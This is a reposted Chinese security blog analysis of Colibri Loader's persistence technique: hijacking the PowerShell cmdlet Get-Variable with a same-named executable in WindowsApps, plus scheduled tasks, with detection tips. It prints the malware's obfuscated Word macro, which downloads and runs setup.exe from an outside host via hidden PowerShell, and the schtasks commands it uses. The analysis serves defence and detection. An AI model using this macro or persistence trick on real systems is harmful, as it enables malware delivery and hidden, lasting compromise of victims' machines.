通过覆盖Powershell cmdlet方式进行权限维持

admin 2025年2月20日23:38:21评论10 views字数 1841阅读6分8秒阅读模式

微信公众号:绝对防御局

关注可了解更多关于 红蓝对抗、安全防御等安全tips ;

有任何的问题或建议,欢迎公众号留言;

Colibri Loader 是一款恶意软件服务,其中包含了一些有趣的权限维持技术值得我们在红蓝对抗过程中参考记录。

Attack Chain

通过覆盖Powershell cmdlet方式进行权限维持

首先文档会加载一个名为 trkal0.dot 的远程模板,其中包含如下的恶意宏

Private Sub Document_Open()zgotwed = "C:UsersPublicsetup.ex`e"n87lcy4 = Replace("new:72Cs19e4ts4D", "s19e4ts", "2")Set hu9v0dd = GetObject(n87lcy4 & "D5-D70A-438B-8A42-984" & CLng("1.8") & "4B88AFB" & CInt("8.1"))hu9v0dd.exec "cm" & "d /c powers^hell -w hi Start-BitsTransfer -Sou htt`ps://securetunnel .co/connection/setup.e`xe -Dest " & zgotwed & ";" & zgotwedEnd Sub

宏脚本通过反引号进行关键字检测的规避,接着通过GetObject 调用CLSID 为 {72C24DD5-D70A-438B-8A42-98424B88AFB8} 的COM组件(对应ProgID为WScript.Shell),直接调用cmd执行powershell下载 setup.exe并执行程序。

setup.exe用于权限维持,判断是否存在colibri的恶意loader,若不存在,则根据 Windows 版本的不同,比如在Win7下则命名为 dllhost.exe,并通过schtasks执行添加了任务计划,这个属于常规的权限维持方法。

通过覆盖Powershell cmdlet方式进行权限维持

schtasks.exe /create /tn COMSurrogate /st 00:00 /du 9999:59 /sc once /ri 1 /f /tr "C:UsersadminDocumentsWindowsPowerShelldllhost.exe"

而在Windows 10及以上版本中恶意程序重命名为 Get-Variable.exe,且放入WindowsApps 目录( %APPDATA%LocalMicrosoftWindowsApps)中,同时添加了如下的任务计划。

schtasks.exe /create /tn COMSurrogate /st 00:00 /du 9999:59 /sc once /ri 1 /f /tr "powershell.exe -windowstyle hidden"

Get-Variable 是一个PowerShell内置的cmdlet ,本身用于控制台中检索变量的值。此外,在 PowerShell 执行的路径中,WindowsApps 路径是默认的。因此,当在 PowerShell 执行时发出 Get-Variable 命令时,系统首先在路径中查找 Get-Variable 可执行文件,会优先执行之前添加在PATH路径名为Get-Variable的恶意文件。

通过覆盖Powershell cmdlet方式进行权限维持

这种手法有点类似于Linux下的PROMPT_COMMAND与PATH路径优先级替换文件的逻辑。

通过覆盖Powershell cmdlet方式进行权限维持

最后聊聊检测手法,其中一个是比较明显的powershell附带-windowstyle为hidden的匹配检测,还有一个可以参考如下进程关系调用通过覆盖Powershell cmdlet方式进行权限维持

{"2788":""C:UsersxxxAppDataLocalMicrosoftWindowsAppsGet-Variable.exe" Name host ValueOnly True"},{"10252":""C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" "},{"9844":"C:WindowsExplorer.EXE"}

Referer

https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/ https://fr3d.hk/blog/colibri-loader-back-to-basics

感谢关注 通过覆盖Powershell cmdlet方式进行权限维持

原文始发于微信公众号(绝对防御局):通过覆盖Powershell cmdlet方式进行权限维持

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月20日23:38:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过覆盖Powershell cmdlet方式进行权限维持http://cn-sec.com/archives/1094223.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息